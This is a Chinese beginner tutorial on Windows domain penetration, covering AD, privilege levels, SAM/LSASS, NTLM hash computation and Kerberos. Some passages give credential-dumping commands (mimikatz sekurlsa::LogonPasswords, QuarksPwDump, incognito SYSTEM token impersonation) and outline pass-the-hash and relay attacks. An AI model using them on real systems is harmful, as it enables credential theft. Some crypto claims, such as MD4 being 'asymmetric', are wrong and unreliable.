内网渗透技术-基础性知识-适合入门级

一、工作组、域环境、AD活动目录、域信任关系

1、内网:
也指局域网,是指在某一区域内由多台计算机互连而成的计算机组,组网范围通常在数千米以内;在局域网中,可以实现文件管理、应用软件共享、打印机共享、工作组内的日程安排、电子邮件和传真通信服务等;内网是封闭的,可以由办公室内的两台计算机组成,也可以由一个公司内的大量计算机组成。
2、如何更好学习内网:
(外网)进行信息收集、漏洞利用(利用漏洞入侵系统)、权限提升(提权)、权限维持(后门技术)、内网代理(隧道技术)、内网渗透、痕迹清理
3、深入理解内网渗透:
内网信息收集、内网漏洞利用、横向移动、跨域攻击
4、工作组介绍:
在一个大型单位里,可能有成百上千台计算机互相连接组成局域网,它们都会列在“网络”(网上邻居)内,如果不对这些计算机进行分组,网络的混乱程度是可想而知的,为了解决这一问题,产生了工作组的概念,即将不同的计算机按功能(或部门)分别列入不同的工作组,例如技术部的计算机都列入“技术部”工作组、行政部的计算机都列入“行政部”工作组;要想访问某个部门的资源,只要在“网络”里双击该部门的工作组名,就可以看到该部门的所有计算机了,相比不分组的情况,这样的情况有序得多(尤其是对大型局域网来说)。
加入工作组
创建工作组:如果输入的工作组的名称在网络中不存在,就相当于新建了一个工作组(当然只有当前这台计算机在该工作组内);推出工作组只要修改工作组的名字即可。
退出工作组:只要将工作组名称改动即可,不过在网上别人照样可以访问你的共享资源,你也可以随便加入同一网络上的任何其他工作组,工作组就像一个可以自由进入和退出的社团,方便同一组的计算机互相访问。
工作组的优缺点
优点:方便管理和维护、资源分配方便和灵活。
缺点:缺乏集中管理与控制的机制、没有集中的统一账户管理、只适合小规模的用户使用。
5、域环境:
什么是域:
域(DOMAIN)为了解决工作的不方便性,提出了域这个概念。域是一个有安全边界的计算机集合(安全边界的意思是:在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单地把域理解成升级版的工作组,与工作组相比,域的安全管理控制机制更加严格,用户要想访问域内的资源,必须以合法的身份登陆域,而用户对域内的资源拥有什么样的权限,还取决于用户在域内的身份;域控DOMAIN CONTROL
多域和单域:
通常在一个地理位置固定的小公司里,建立一个域就可以满足需求,在一个域内,一般要有至少两台域服务器,一台作为DC,另一台作为备份DC;多域就是说有多个域环境,每个域都有自己的DC(和备用DC)
父域和子域:
出于管理及其他需求,需要在网络中划分多个域,第一个域称为父域,各部分的域称为该域的子域。
父域:abc.com;子域:yunwei.abc.com
域树:
(由多个父域和子域组成的更大的域)域树是多个域通过建立信任关系组成的集合,一个域管理员只能管理本域,不能访问或者管理其他域,如果两个域之间需要互相访问,则需要建立信任关系,信任关系是连接不同域的桥梁;域树内的父域和子域不但可以按照需要互相管理、还可以跨网络分配文件和打印机等设备及资源,从而在不同的域之间实现网络资源的共享与管理、通信及数据传输。
域森林:多个域树通过建立信任关系组成的几个,例如,一个公司兼并场景(例如一个公司收购另一个公司)中某公司使用域树abc.com,被兼并的公司本来有自己的域树abc.net,域树abc.net无法挂在域树abc.com下(是否是同一域树中,主要看域名最后一位,即顶级域名),所以,域树abc.com域域树abc.net之间需要通过建立信任关系来构成域森林;通过域树之间的信任关系,可以管理和使用整个域森林中的资源,并保留被兼并公司自身原有的属性。
DC域控:
通常在一个地理位置固定的小公司里,建立一个域就可以满足要求,在一个域内,一般要有至少两台域服务器,一台作为DC,另一台作为备用DC;内网渗透的目标就是控制DC。
域环境搭建:
通常所说的内网渗透测试,很大程度上就是域渗透测试,搭建域渗透测试环境很重要。
设置服务器:
在SERVER2012中,设置其IP地址为192.168.41.10,子网掩码为255.255.255.0,DNS指向本机IP地址。
安装域控制器和DNS服务:
在SERVER2012服务器上安装域控制器和DNS服务,登录SERVER2012服务器,可进行设置,并添加DNS服务和域服务,安装结束后,进行服务器升级:安装Active Directory域服务后,需要将此服务器提升为域控制器。
域内主机搭建:
将SERVER2008计算机添加到该域中,设置IP地址为192.168.41.20,设置DNS地址为192.168.41.10。
加入域和退出域:
(前提是域控和用户都在同一个网段,之前需要进行IP和DNS设置,设置域的前提是所有用户的DNS服务器都使用域控的DNS地址,域控的DNS地址是域控本身的IP地址,且IP和DNS访问地址等都设置结束后,进入cmd,尝试去ping通三者):使用SERVER 2012环境,在管理工具中的Active Directory用户和计算机功能中,为abc.com域中的用户SERVER 2008和SERVER 2003创建用户创建域控制账户,分别进行设置(其中SERVER2012设置的域登录的账号和密码),假设分别为2008-PC和2003-PC,使用2008-PC和2003-PC(以域用户)登录时需要使用SERVER 2012设置的账号和密码才能使用域身份登录环境;退出域即在已经登录的域用户的计算机设置中(更改名字下方)加入工作组,即退出域了。
6、AD活动目录(Active Directory):
活动目录AD指域环境中提供目录服务的组件,目录用于存储有关网络对象,例如用户、组、计算机、共享资源、打印机和联系人等信息,目录服务指帮助用户快速准确地从目录中找到其所需要的信息的服务,活动目录实现了目录服务,为企业提供了网络环境的集中式管理机制(还能进行统一的分发账号、统一地网络推送,统一进行安装)。
组织单元OU:
OU是域中包含的一类目录对象,如用户、计算机和组、文件与打印机等资源,是一个容器,可以在OU上部署组策略(即在DC域控abc.com中的AD功能下的文件夹),实际工作中,需要根据公司需求进行分OU。
创建组织单元:
在已经创建好的组织单元中,例如人事部,在人事部OU中新建用户,AC可以在AD中进行用户和组织单元的增加和删除。
7、信任关系:
域是安全边界,若无信任关系,域用户账户只能在本域内使用,信任关系在两个域之间架起了一座桥梁,使得域用户账户可以跨域使用(abc.com和xyz.com如果有信任关系,则两个域之间可以互相访问)。信任关系分为可传递的和不可传递的。可传递:如果A域和B域之间的信任是可传递的,B域和C域之间的信任也是可以传递的,那么A域和C域之间就自动创建了信任关系;不可传递:如果A域和B域之间的信任是不可传递的,或者B域和C域之间的信任是不可传递的,那么A域和C域之间不会自动创建了信任关系。
单向信任:
在两个域之间创建的单向信任,这表示在A域和B域之间的单向信任中:A域中的用户可以访问B域中的资源,B域中的用户无法访问域A中的资源;单向信任可以是不可传递信任,也可以是可传递信任,这取决于创建的信任类型。
双向信任:(默认)林(域树)中的所有域信任都是双向的、可传递的信任,创建新的子域时,系统将在新的子域和父域之间自动创建双向可传递信任,在双向信任中,A域信任B域,并且B域信任A域,这表示可以在两个域之间双向传递身份验证请求。
内外部信任(需要根据不同域的信任关系进行后续的攻击):
内部信任是指在同一个域树的域之间的信任关系,这种信任关系是可传递的。
外部信任:是指不同域树之间的域信任关系,这种信任关系是单向的或者不可传递的(即一个父域是不可以和另一个父域的子域建立信任传递关系的)。

二、工作组权限、域内权限

1、本地用户组:
电脑的身份就两种,一种是本地工作,第二种是域,我们默认的电脑都是本地组的形式,本地工作组的电脑,所有的账号密码、群组等都存放在本地的电脑文件中,不管电脑有没有网络,只要能开机,我们输入本地的账号密码都可以登录到电脑。
在电脑中一般有两种角色,一个是用户一个是组,一个组中可以有多个用户,一个用户可以属于多个组,通过给组划分不同的权限,用户就有了不同的权限(即用户一定是属于某一个组的,可能组中只有一个用户)。
2、本地最高管理员权限:
administrator是计算机中的管理员(最高级管理员),administrator用户在家庭版电脑中是属于禁用的状态,在专业版中属于开启的状态,在server机器中数据开启;administrator用户的SID最后一位是500;administrator用户默认在administrator组中。
3、本地普通管理员权限:
本地一般管理员就是加入了administrator组的管理员,但不是administrator用户;admin用户虽然也是管理员,但是有些操作是执行不了的,因为有UAC,如果要执行高权限的操作,必须用管理员身份打开cmd。
4、本地普通用户:
就是在windows电脑中本地新建的普通用户,没有管理员的权限,一般本多操作执行不了,需要管理员认证后才可以执行;当进行高权限操作的时候需要输入管理员的账号和密码才行。
5、UAC认证:
USER ACCOUNT CONTROL,用户账户控制,主要功能是进行一些会影响系统安全的操作时,会自动触发UAC,用户确认后才能执行,因为大部分的恶意软件、木马病毒、广告插件在进入计算机时都会告知一些操作,而这些操作都会触发UAC,用户可以在UAC提示时来禁止这些程序的运行。
凭据提示当标准用户尝试执行需要用户管理访问令牌的任务时,会显示凭据提示,即要输入admin的账号和密码(在普通用户界面进入admin管理员系统就需要利用漏洞了)。
UAC的触发条件:
修改windows update配置、增加或删除用户账户、改变用户的账户类型、改变UAC设置、安装ActiveX、安装或卸载程序、安装设备驱动程序、修改和设置家长控制、增加或修改注册表、将文件移动或复制到Program File或是windows目录、访问其他用户目录(大部分都是普通管理员,因为PC默认都是个人电脑,所以新电脑的用户都是普通管理员,在普通管理员在中毒时,会提示UAC,但是普通管理员绕过UAC也很简单,如果是绕过普通用户就比较困难)。
UAC的四种设置要求:分为始终通知、仅在程序尝试对我的计算机进行更改时通知、仅当程序尝试更改计算机时通知我、从不通知,可通过msconfig设置UAC(通过设置msconfig为从不通知后,普通管理员使用命令行无UAC提示,而普通用户还是有UAC提示)

6、本地系统最高权限(system):
system在windows中主要作为系统服务或进程的运行账户(主要运行服务和进程, 查看系统进程可以在任务管理器中看到);admin和sys权限的区别:并不是说sys比admin的权限大,这两个用户的区别是,admin是系统内置的管理员用户,一般平时安装、运行程序、修改系统设置等都是以这个权限身份运行的;sys权限是系统本身的权限,控制任务管理器中的进程,另外注册表里面某些地方只有系统自己可以访问,admin用户也不能访问(简单来说,sys是系统内部本身,admin是系统内置的用户,可以使用令牌进行admin和sys的切换,从本质上来说,admin和sys没有什么区别)。

7、域内机器权限(利用域控DC设置域内用户的账号和密码):
域内用户组:
机器加入到域,使用域内的用户进行登录,域内用户的信息是存放在域控DC上,添加用户或者修改密码都是在域控DC上进行(创建用户和删除用户也是在DC上进行)。
域内用户组介绍:管理员组administrators的成员可以不受限制地存取计算机/域的资源,它不仅是最具权力的一个组,也是在AD和DC中默认具有管理员权限的组,该组的成员可以更改Enterprise Admins、Domain admins组的成员关系,是域森林中强大的服务管理组。
域管理员组Domain Admins:
是指定的域管理员,拥有完整的管理员权限,因为该组会被添加到自己所在域的Administrators组中,因此可以继承Administrator组的所有权限,同时该组默认会被添加到每台域成员计算机本地的administrators组中,这样Domain admins组就获得了域中所有计算机的所有权(在加入到域中的成员电脑中,会自动进入域Domain Admins组中,当然它同时也在administrators组中)。
当一个用户例如2008-PC加入了域之后,它有三个管理员:即它本地的administrator、还有域控DC上的administrator、还有域控DC上的2008-PC,以上三个都是它的管理员,而在DC上的2008-PC是2008-PC主机的普通管理员,其他两个都是这主机的最高管理员。
如果想添加一个域管理员,就要添加到Domain Admins组中,这样添加的管理员可以控制域中的所有主机,而如果添加进域控DC的Administrators组中,他只是域控DC的管理员而已。
企业系统管理员组Enterprise Admins是域森林或者根域中的一个组,该组在域森林中的每个域都是Administrators组的成员,因此对所有域控DC都有完全访问权(即Enterprise Admins组中的成员是继承了Administrators组的性质),企业管理中如果需要只添加域控制器的管理员,则只需要将添加的用户添加进Enterprise Admins组中即可(即新添加的用户只是域控DC的管理员,而不是域内所有用户的管理员)。
域用户组Domain users是所有的域成员,在默认情况下,任何由本地建立的用户账号都属于Domain Users组,该组在域内及其中存在于Users组(如果在域控SERVER2012中新添加了用户,那么该有用户就可以登录进SERVER2012的系统中,因为新用户是Domian Users组中的成员,但是身份只是user)。
域电脑组:
Domain Computers组,任何由本地建立的计算机账号都属于该组(可以是工作站或者是服务器)。
加入到域之后,可以选择使用域内用户登录,也可以使用本地用户登录,注意以下区别:本地用户登录,是存放在本地文件中然后本机进行校验,域内用户登录是要通过DC域控的认证之后才能登录, 用户信息存放在域控上;本地用户登录主要是对比NTLM HASH值,域认证是通过kerberos认证;机器可以选择本地登录或者域用户登录,本地用户是机器名/用户名、域内用户是:域名/用户名(例如本地机器2008-PC想用admin身份登录,可以在登录界面输入2008-PC\administrator用户名,再输入密码即可;如果想以域内用户的admin身份登录该机器,例如登录abc域,则用户名为abc\administrator,再输入密码即可;在做渗透时,一定需要注意区分域用户和本地用户)。
Domain Admins组实际上就是域内的管理员账号存在的组。

8、域内最高管理员权限:
域名\administrator(域控DC的管理员),它没有UAC认证,SID尾部号为500,它是每个域内及其的本地管理员(默认的),和机器名\administrator(加入域内机器的管理员)具有相同的权限(例如使用200-PC机器,域控DC的admin身份登录,则在2008-PC机器的登录界面,使用adc\administrator用户名,再输入密码即可),以上操作的前提是,处于同一个内网(局域网LAN)中,且通过内网配置,有主要负责的域控,且该域中的计算机都加入了该域,就可以使用其他主机登录域控DC账号进行相应操作。
9、域内普通管理员:
可通过在计算机管理中进入用户界面(或者进入administrators组中也可以进行添加admin用户),将该用户隶属于添加进administrators组中,则该用户(例如jack)即成为本地的普通管理员(如果是域内普通管理员,绕过UAC是简单的)。
10、域内普通用户权限:
如果本地机器被域控DC添加进了administrators组中,那么,在该机器内的用户若想通过UAC认证,则可以分别使用本地的admin账号密码,也可以使用域的admin账号密码。
域用户组Domain Users中所有的域成员,在默认情况下,任何由本地建立建立的用户账号,都属于Domain Users组,该组在域内机器中,存在于Users组。
11、机器(本地)用户和SYSTEM关系:
Domain Computers组,任何由本地建立的计算机账号都属于该组,机器账户是指在网络中用于代表计算机或设备的账户,在windows域环境中,每台计算机都有一个机器账户,用于在网络中进行身份验证和授权,机器账户的名称通常以计算机名称或者计算机GUID作为前缀,如2008-PC$,机器账户与具体计算机相关联,用于代表计算机进行与认证和访问资源。
当电脑加入域中后,机器账号的密码同步到域控上,所以说本地system用户对应域内的机器用户,如果说渗透的电脑加入了域,但是使用本地用户进行登录,就可以提权到system用户。然后对域内进行查询;虽然sys用户是本地计算机上的特殊账户,而机器账户是域环境中的账户,但在某些情况下,例如本地计算机需要访问域资源时,system用户可能会充当机器账户的角色,这是因为在域环境中,本地计算机可以使用sys账户作为其身份进行域认证和访问授权,但是,他们仍然是两个不同的概念,sys账户不是专门为域中的机器账户而创建的(即sys账号可以代表本地机器账号进入到域中进行查询)。
使用域控DC创建的用户登录时,用户身份是域用户,而不是本地用户(前提是,登录账户的时候,是登录进abc域中),所以,当本地机器是在域中的,但是所登录的用户不是sys权限,例如还想进行net user /domian命令等,就需要使用incognito工具,使用sys令牌,进行提权至sys权限(首先保证incognito工具在桌面上,然后cd进入desktop,在\Desktop位置下输入命令为:incognito.exe list_tokens -u, 目的是列出当前状态下,用户有什么令牌,例如,如果用户有NT AUTHORITY\SYSTEM令牌的话,则需要输入:incognito.exe execute -c “NT AUTHORITY\SYSTEM”,执行完毕之后就可以进入SYS权限)。

三、本地认证、网络认证、域Kerberos认证

本地认证概述:
windows本地认证:电脑上存储着自己的账号密码,无论电脑是否联网,只要能开机,就可以输入账号密码登录到电脑中,工作组就是采用本地认证(最简单的本地认证可以是电脑认证登录的账号和密码)。
简单的认证流程介绍:
电脑开机winlogon.exe–账号密码–>Lsass.exe进程–和SAM文件密码做对比–>SAM文件(进入输入密码的页面是由winlogon.exe进程控制的,winlogon.exe是在系统底层自动运行的进程,它是由system系统用户运行的),在开机页面的winlogon中由用户输入的密码是明文的,此时明文的密码会提交到Lsass进程,Lsass进程也是由system权限运行的,Lsass进程将明文的密码去到SAM文件进行对比,SAM文件就是存储电脑本机账号密码,如果对比成功,则登录成功(这个是非常简单的本地认证,此认证是发生在本地上的)。
winlogon.exe:全称是Windows Logon Process,是windows NT用户登录程序,用于管理用户登录和退出,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面。
Lsass.exe是一个系统进程,用于微软windows系统的安全机制,它用本地安全和登录策略。
SAM文件是位于C\windows\system32\config\目录下的,用于存储本地所有用户的凭证信息,但是这并不代表可以随意去查看系统密码,作为普通用户,不能删、不能改、不能看、不能复制。

SAM文件和Lsass.exe进程详解:
SAM文件是windows的用户账户数据库,所有用户的登录名及口令等相关信息都会保存在这个文件夹,SAM文件的内容(如下):
用户名称:LM-HASH值:HTLMN-HASH值
SAM文件中的密码并不是以明文的形式存在,它是加密后存储在SAM文件中(例如:administrator:LM-HASH:NTLM-HASH),SAM文件中的账号名称是以明文形式存在,例如administrator。
Lsass.exe进程的作用非常重要,它主要负责管理本地安全策略和认证机制,这些策略包括密码策略、账户策略、用户权限、域策略等等,同时,它还负责对用户进行身份验证,以确保只有授权的用户才能访问系统资源;Lsass.exe将winlogon传过来的明文账号密码进行加密(其中使用的是MTLM或者LM加密),然后和SAM文件中的密文账号密码作对波比,如果对比成功就登录成功;Lsass.exe将收到的明文账号密码在本地内存中保留一份作备用(留存的一份是明文的密码),(Lsass.exe进程,总共进行两个操作,一是先将明文密码进行加密,二是在内存中保留一份作为备用),当然和SAM文件中的密码进行对比的时候,也会有成功或者失败两种情况。

LM-HASH值介绍:windows系统通常使用两种方法对用户的明文密码进行加密处理,一部分为LM-HASH,另一部分为NTLM-HASH,在windows系统中,HASH的结构通常如下:
username:RID:LM-HASH:NTLM-HASH
LM-HASH的全名为LAN Manager Hash,是微软为了提高windows系统的安全性而采用的散列加密算法,其本质是DES加密(对称加密,非常好破解),尽管LM-HASH较容易被破解,但为了保证系统的兼容性,windows只是将LM-HASH禁用了(现在的版本已经被禁用,2008版本以后才禁用,所以windows xp 2003使用的还是LM-HASH),LM-HASH明文密码被限定在14位以内,也就是说,如果要停止使用LM-HASH,将用户的密码设置为14位以上即可,如果LM-HASH被禁用了,攻击者通过工具抓取的LM-HASH通常为“aad3b435b51404eead3b435b51404ee”(aa开头、ee结尾,代表这个电脑的LM-HASH被禁用)(表示LM-HASH为空值或被禁用),NTLM-HASH是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法,NTLM-HASH是基于MD4加密算法(非对称加密,即便得到了NTLM-HASH值,破解也是非常困难)进行加密的,现在的windows系统基本都采用NTLM-HASH加密(最早使用的是LM,但是发现了并不安全,就研发出来了NTLM-HASH,微软为了保证电脑都支持,即考虑到兼容性,所以LM和NTLM都支持)NTLM是从vista后的版本,即win7开始使用的。
通过cmd命令行查看NTLM-HASH值,(LM-HASH:第一步,将明文口令转换为大写形式,假设明文为Admin140002,转换后为ADMIN140002;第二步,将大写明文密码转换为16进制,即hex形式,即41444d494e313430303032;第三步,将明文密码不足14位的用0补齐,即ADMIN140002000,转换为16进制就是41444d494e313430303032000000;第四步,将上述编码分成2组7字节,第一组41444d494e3134,第二组30303032000000;第五步,将每一组7字节的十六进制转换为2进制,第一组转换后为01000001010001000100110101001001010011100011000100110100,第二组转换后为00110000001100000011000000110010000000000000000000000000,每7bit一组末尾加0,得到第一组为:0100000010100010000100101010100010010100011100001100010001101000,得到第二组为0011000000011000000011000000011000100000000000000000000000000000,将得到的两组数,再转换成16进制,组成得到2组8字节的编码,转换后第一组:40A212A89470C468,转换后第二组:30180C0620000000;第六步,将以上步骤得到的2组8个字节的编码,分别作为DES加密key,为魔术字符串KGS!@# %进行加密(微软规定用KGS!@# %进行加密的)(KGS!@# %的16进制为4B47532140232425,KGS!@# %这个字符串也需要转换成16进制,才能进入DES计算机进行DES加密,它作为DES加密的明文,而此时以第一组举例,第一组得到的8个字节编码作为的KGS!@#$%的16进制数的密钥,完成后进行加密,得到第一组密文:9F1B907A7628D8CC,同理可以得到第二组密文:8CEF570B36873161,最后将两个值,组合起来:9F1B907A7628D8CC8CEF570B36873161,该密文就是Admin140002的LM-HASH值(后续会跟电脑加密的进行核对)(LM-HASH值中,对于大小写没有要求,而NTLM-HASH是有要求的)。

NTLM-HASH是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法,NTLM-HASH是基于MD4加密算法进行加密的,是从个人版windows vista版本以后、服务器版从windows server 2003以后,认证方式均为HTLM-HASH(NTLM-HASH和NTLM协议没有关系)。NTLM-HASH加密的算法过程:第一步,将密码Admin140002转换成16进制,为41646D696E313430303032;第二步:将转换成功的数转换成Unicode格式,即在每个字节之后添加0x00,(2bit=1字节,第二步就是在每个字节后添加00),即值为:410064006D0069006E00310034003000300030003200(可以将加00的过程就是转换成unicode的方式);第三步,对unicode字符串做MD4加密,生成32位的十六进制数字串(本次使用的是MD4计算器,填入的数值选择十六进制数,再把上方的数字复制进去),得到NTLM-HASH值为:017bbad0fbd3ee110c59714856ea4d6e。
综上SAM中的用户密码Admin140002会被存储为username:LM-HASH:NTLM-HASH,即为:administrator:9F1B907A7628D8CC8CEF570B36873161:017bbad0fbd3ee110c59714856ea4d6e(正常情况下,LM-HASH是被禁用的,会形成一个aa开头、ee结尾的数值)。
通过工具验证是否如此:使用QuarksPwDump.exe工具,在指定的系统内,在cmd中输入QuarksPwDump.exe --dump-hash-local,会直接显示出结果,确实为017bbad0fbd3ee110c59714856ea4d6e(显示中LM-HASH确实被隐藏掉了,开头是aa、结尾是ee的形式),如果想看LM-HASH,需要使用猕猴桃工具,提权到debug权限,代码为:privilege::debug,其返回值为Privilege ‘20’ OK ,通过代码sekurlsa::LogonPasswords(代码可以理解为通过各种方式抓取密码),最后,mimikatz猕猴桃工具,可以既抓到LV-HASH,也可以抓到NTLM-HASH值。

本地认证中的安全问题:(问题: 如果我是渗透人员,如何知道对方的账号和密码?内存中存储密码很不安全,且微软肯定会修复,那如何拿到win10之类的明文账号密码?能不能通过输入HASH)
如果想修改密码,则利用U盘启动,进入PE模式后,将SAM文件修改或替换(或者利用工具直接将SAM文件的值修改)。
2012之后版本的机器怎么抓明文密码:可以通过修改注册表的方式重新存储明文密码。
可以通过HASH值的对比进行破解;拿到了一串HASH值,也可以通过撞库的方式破解(在线工具,例如MD5破解网站也可直接将HASH密文转换成明文密码)

网络认证:由于本地认证并不能满足日常需求,网络认证有哪些?
用户名和密码认证:最常见的认证方式,用户需要提供有效的用户名和密码,以验证其身份(适用于本地计算机或域账户);kerberos认证:网络身份验证协议,在windows域环境中广泛使用,通过使用票据和票据授予票证TGT来验证用户身份,并生成会话密钥用于加密通信;NTLM认证:windows网络认证协议,基于挑战——响应的方式进行身份验证,尽管keberos已成为首选的认证协议,但NTLM仍然在某些情况下使用,特别是在与旧版windows系统或非windows系统进行互操作时;密钥身份认证:windows还支持使用密钥来进行身份验证,即使用预先共享的密钥对用户进行身份验证;远程桌面认证:通过远程访问windows计算机,用户需要提供目标计算机的凭据进行认证,以验证身份并获得远程访问权限。
如果主机A想要访问主机B上的资源,就要向B发送一个存在于B上的一个账户,B接收以后,会在本地进行验证,如果验证成功,才会允许主机A进行相应的访问。
NTLM(NT LAN Manager)认证是早起的windows网络蛇粉验证协议,它在windows系统中用于验证用户的身份,并提供对网络资源的访问控制。
NTLM是基于挑战(Challenge)和响应(Response)认证机制,以下是三个步骤:
挑战及响应认证机制:(NTLM认证机制和NTLM-HASH要区分开来)
协商:为了解决历史遗留问题、为了向下兼容,双方先确定一下传输协议的版本等各种信息;质询:Challenge/Response认证机制运行;验证:对质询的最后结果进行一个验证,验证通过后,即允许访问资源。
挑战响应的认证机制:(认证成功和认证失败两种结果)
认证成功:Client会向server发起请求连接协商一些相关东西;server将会本地生成一个(16位或8位)随机字符,即Challenge吗,并将Challenge传给client;当client接收到Challenge时,将username的NTLM-HASH对Challenge进行加密,将用户名、域名、机器名等相关信息,生成Response发送给server(所以,response的内容包括client的HASH值和Challenge值加密过的内容);server在接收到response后,将其和相同的方式(即和client的方式一样)进行加密生成另一个response,如果相同(和client发送过来的response进行对比),则验证成功。
认证失败:client会向server发起请求连接协商一些相关东西;server将会本地生成一个(16位或8位)随机字符,即Challenge吗,并将Challenge传给client;当client接收到Challenge时,将username的NTLM-HASH对Challenge进行加密,将用户名、域名、机器名等相关信息,生成Response发送给server,server在接收到response后,将其和相同的方式(即和client的方式一样)进行加密生成另一个response,如果不同,则验证失败。
可以简单理解为:挑战和验证机制中,即中间的Challenge值和Response值的不同会影响最后验证的结果。

NTML认证抓包分析(Challenge/Response):
一共有8个包,第1-4个包:双方建立协议认证(Protocol);第5个包client启动身份的验证包和一些规则,主要是flag里面有相关规则;第6个包有一个包含同意的列表和Challenge值(Challenge值由server发出),可以看到Challenge是16位,这是因为采用了NTLM v2协议,如果是NTLM v1协议就是8位;第7个包是client回应给server的Response包,里面包含着账户名等相关信息(该包是通过client将Challenge值等进行HASH加密后传输给server的);第8个包是Response包,是由server返回给client的包,通过server对client传回的Response值进行比对,返回另一个Response值,并给出返回结果(认证成功或是失败,如果显示ERROR就是失败)。

Chanllege和Response分析:
Challenge是server发送给client的一串随机的字符,NTLM v1协议中是8位,NTLM v2协议中是16位(挑战值是server随机发出的,所以攻击者无法根据猜测预估Challenge值)。
响应值是client根据server发送的挑战值反馈给server的信息,且由client发送给server的,属于是8个包当中第一个响应,内容包括很多。
Response是如何生成的呢?它是由:Response=NTProofStr+blob两部分拼接起来的;NTPProofStr是NTLM v2 HASH值和Challenge+blob进行HMAC-MD5加密;NTLM v2 HASH是大写的用户名+域名编码成unicode格式,然后和密码的NTLM HASH值进行MD5加密(加密过程和之前记录过的NTLM-HASH加密过程相同,blob是由时间、目标信息、随机填充等字符生成;使用工具进行攻击的时候抓到的都是username::domain:challenge:NTProofStra:blob)
NTProofStr=NTLM-v2-Hash与(Challenge+blob)一起进行MD5加密
NTLM-v2-Hash=unicode格式(大写的username+domain)与密码的NTLM-Hash值一起进行MD5加密
blob块:因为是与时间挂钩,所以无法预估。

Net-NTLM-HASH(client将Response发送给server后,如果中间人用工具抓包,显示出来的就是NET-NTLM-HASH值)=
username:domain:challenge:NTP:blob
计算过程(验证抓包工具显示的NET-NTLM-HASH值是否正确):先将username转换成大,并将大写的username和域名合并,一起转化成16进制;将转化好的16进制数转化成unicode格式,即每个字节后面(2 bit)添加00;对之前得到的NTLM-HASH(作为密钥)和转化成unicode的值(即最后的data值,作为数值),一起进行HASH加密(使用的工具是HASHCulc)最后得到NTLM-v2-Hash(NTLM-HASH是直接可以通过mimi抓到的)。

计算NTProofStr:将NTLM-v2-Hash作为key(上一步得到的密钥);再将challenge+blob加起来;进而将key与challenge+blob一起进行MD5加密,得到NTProofStr。
得到了Response,其内容包括NTLM-HASH+域名+用户名+blob+challege值(即通过Response的值,可以给Chanllege进行对应)

NTLM协议安全问题:
PTH攻击:因为NTLM认证过程中使用到用户的NTLM-HASH值计算,如果说得到对方电脑的HASH值就可以进行PTH攻击(即利用对方的NTLM-HASH值,可以进行response值的破解,再向对方发送response值,就可以实现控制,也就是说,如果想控制对方主机,不用知道明文密码,得到NTLM-HASH就可以)。
NET-NTLM-HASH relay攻击:NTLM中间人攻击、如果获得NET-NTLM v1HASH可以重放,进行认证(中继攻击)。
NET-NTLM v1 v2 HASH破解:v1比较简单,容易破解,即使用DES; 如果是v2,就要使用碰撞的方式,可以使用彩虹表或者暴力猜解等方式,获取明文账号密码。

域kerberos认证:
kerberos协议简介:
kerberos:(网络认证之中,将账号和密码发送过程中,存在的最大问题是:双方不能证明自己是自己,就好比对暗号,其实是不安全的;即在认证的过程中,无法确保对方的身份,即便是核对了暗号,双方陷入了自我怀疑的阶段)kerberos是一种网络认证协议,其设计目标是通过密钥系统为server和client应用程序提供强大的认证服务;认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传输的数据包可以被任意地读取、修改和插入数据,在以上情况下,kerberos作为一种可信任的第三方认证服务,通过传统的密码技术(共享密钥)执行认证服务(即kerberos是纯第三方认证服务,服务于server和client;重点是密钥系统)。
kerberos协议角色组成:存在三个角色,client、server、KDC(key distribution ceter密钥分发中心),密钥分发中心分为两部分,即AS(Authemtication认证服务器,专门用来认证客户端的身份,并发放给客户用来访问TGS的TGT,票据授予票据)和TGS(Ticket Granting Server,票据授予服务器,用来发放整个认证过程中 以及client访问server时服务授予票据,Ticket)。

kerberos协议认证流程:(网络认证中存在的不足:机器陷入无法证明自己是自己的困境)
KDC类似于票据中心,是client和server之间的桥梁(最大问题是KDC为什么给client提供Ticket),AS类似于安检窗口(用来认证身份),TGS类似于卖票窗口(用来提供票据)(顺序是client-AS-client-TGS-client-server)。
client带着自己的身份去AS认证,认证通过后返回一个去TGS的票(TGT);client带着TGT去取ST(client带着能买ST的票去买ST);client带着ST去server。
KDC通常在域控上(DC)(即DC通常扮演着KDC的角色)。
client将身份信息发给AS(身份信息包含:Name用户名、IP地址、Time当前时间);AS收到lclient的身份信息时,对其进行校验(KDC在域控DC上,所以KDC可以对其进行校验),AS校验结束后,会返回给client一个TGT(TGT包括两部分,即使用用户的HASH加密的部分和 krbtgt加密的部分。其中,使用用户HASH加密的部分包括:Time、TGSname、TGT有效时间、CT_SK,其中,TGSname是AS告诉下一步找的TGS的名称,即找哪个TGS,CT_SK是CT Session key的意思,而AS给client加密的HASH正是client NTLM-HASH值;另外一部分是AS使用kbrtgtHASH加密的内容,包括Name、IP、Time、TGT有效时间、CT_CK session key;这两部分合并成为TGT)。
AS将TGT发送给了client,client将AS发过来的TGT进行解密:先对解密clientHASH进行加密的部分(client使用本身的HASH进行解密),进而client得到CT_Session key,而下部分使用kbrtgtHASH进行加密的部分client则无法解密;client在解开第一部分后,将TGT进行封装,在发送给TGS(即只解密自己的部分,并将CT_SK取出,再用CT_SK进行加密,而无法解密的交给TGS解密,即是原封不动的)(封装:过程中,将servername封装进去,目的是告诉TGS,client要访问哪个web server)。
提供身份信息的数据包是AS-REQ(AS-requests)(是由client发送给AS的),发送TGT的数据包是AS-REP(AS-response)(是由AS发送给client的)。
前后的TGT区别就是:client重新封装后的TGT是带有servername的TGT,且client部分使用session key进行加密。

client和TGS通信原理:client使用封装好的TGT(此TGT是带有servername的)发送给TGS,TGS收到TGT后,识别servername(即得知了client想要访问的web server是哪个,方便后续给client发送指定的TS)(而TGT的第二部分起初是由TGS使用kbrtgtHASH进行加密的,所以TGS是能够解密的),TGS对TGT的CT_SK进行解密后,可以对第一部分进行解密(第一部分的CT_SK是由client进行加密的,解密后可与第二部分进行核对,如果核对成功,即TGS验证成功,其中主要核对的是Name、IP、Time)。
TGS核对第一部分成功后,会对TGT进行重新封装,封装内容包括使用CT_SK加密的第一部分(Name、IP、Time)以及使用krbtgtHASH加密的第二部分(Name、IP、Time、TGSNAME、TGT有效时间、CT_SK)。
